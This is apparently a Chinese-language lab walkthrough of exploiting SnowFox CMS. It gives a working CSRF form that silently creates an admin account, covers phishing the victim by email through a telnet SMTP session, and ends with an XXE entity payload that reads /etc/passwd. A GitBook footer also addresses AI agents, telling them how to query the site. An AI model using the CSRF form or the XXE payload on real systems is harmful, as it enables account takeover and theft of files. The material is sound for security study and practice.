> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/snowfox-cms-exploitation.md).

# SnowFox

## CSRF 漏洞

SearchExploit 发现 Snow Fox CMS 中存在 CSRF 漏洞。

<figure><img src="/files/cd83f435f99112078cfc2fae9fafc72c08ad7854" alt=""><figcaption></figcaption></figure>

**存在漏洞的 HTML 文件：**

```html
<html>
  <body>
    <form action="http://casino-royale.local/vip-client-portfolios/?uri=admin/accounts/create" method="POST">
      <input type="hidden" name="emailAddress" value="jordan@jordan.com" />
      <input type="hidden" name="verifiedEmail" value="verified" />
      <input type="hidden" name="username" value="jordan-admin" />
      <input type="hidden" name="newPassword" value="jordan-password" />
      <input type="hidden" name="confirmPassword" value="jordan-password" />
      <input type="hidden" name="userGroups[]" value="34" />
      <input type="hidden" name="userGroups[]" value="33" />
      <input type="hidden" name="memo" value="CSRF备忘" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="formAction" value="submit" />
      <input type="submit" value="提交表单" />
    </form>
  </body>
</html>
```

[CSRF](/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-request-forgery-csrf.md) 尝试在 Snow Fox CMS 中创建管理员账户

* 通过 telnet 连接到 SMTP 端口 25。

<figure><img src="/files/9e9df73091feaaf42910dafb5a543d0809875f8e" alt=""><figcaption></figcaption></figure>

* 发送电子邮件至 `valenka@casino-royale.local` 其中包含指向攻击者 Python HTTP 服务器的链接，该服务器托管存在漏洞的 HTML 文件。

<figure><img src="/files/59a9b17b182e126396eac6ddd089c9b830507b03" alt=""><figcaption></figcaption></figure>

**使用 CMS 管理员账户登录：**

* 使用新的凭据登录，从而在 Snow Fox CMS 上创建管理员账户。

<figure><img src="/files/19b17c36cc4189ff723dc5a0269f6cb1cc164128" alt=""><figcaption></figcaption></figure>

#### 利用 CSRF 漏洞后，在 Snow Fox CMS 中创建了一个管理员账户。

<figure><img src="/files/cd706aecb80cfb5d50ea67de378df9eff156ba9d" alt=""><figcaption></figcaption></figure>

#### 用户描述中的提示识别

CMS 用户描述中包含一个额外提示，指向要访问的目录。

<figure><img src="/files/5b726fcd238252d00bcfc7f9bfde7a39fcf1761e" alt=""><figcaption></figcaption></figure>

## XXE 漏洞

<div data-full-width="true"><figure><img src="/files/41d82c8a2071ae6b5135a721d721a33fd51d8a99" alt=""><figcaption></figcaption></figure></div>

#### 使用 Burp Suite 拦截的 XML 结构的源代码分析

<figure><img src="/files/0a8c5feac61384106b5edc69b97b275a48d6382f" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/18793939194c8f9acd76662bdc5c2a9c29487827" alt=""><figcaption></figcaption></figure>

#### XXE 攻击尝试（XML 外部实体注入）

* 将请求方法从 GET 更改为 POST。

<figure><img src="/files/5a326f5828ee8dfce88a779312f778f7200c3625" alt=""><figcaption></figcaption></figure>

* 尝试在 POST 请求中注入 XXE 模板。

<pre class="language-xml"><code class="lang-xml">&#x3C;creds>
<strong>	&#x3C;customer>
</strong>		乔丹
	&#x3C;/customer>
	&#x3C;password>
		jordan123
	&#x3C;/password>
&#x3C;/creds>
</code></pre>

* 观察服务器如何解析 XXE 模板。

<figure><img src="/files/0cfa7f20f2bad02fe93be44ca7705a620e9b8f77" alt=""><figcaption></figcaption></figure>

* 要访问系统文件，请创建一个新的 **实体**，例如 `myFile`: `<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>`

然后将结果作为变量发送，使用 `&myFile` 如下所示：

<figure><img src="/files/828122ea016ef30593de5931814c66a9faeb5511" alt=""><figcaption></figcaption></figure>

#### 的识别 `ftpUserULTRA` 用户

<figure><img src="/files/dc0317d6933885b771b94355674ad71b43005d70" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/cms/snowfox-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
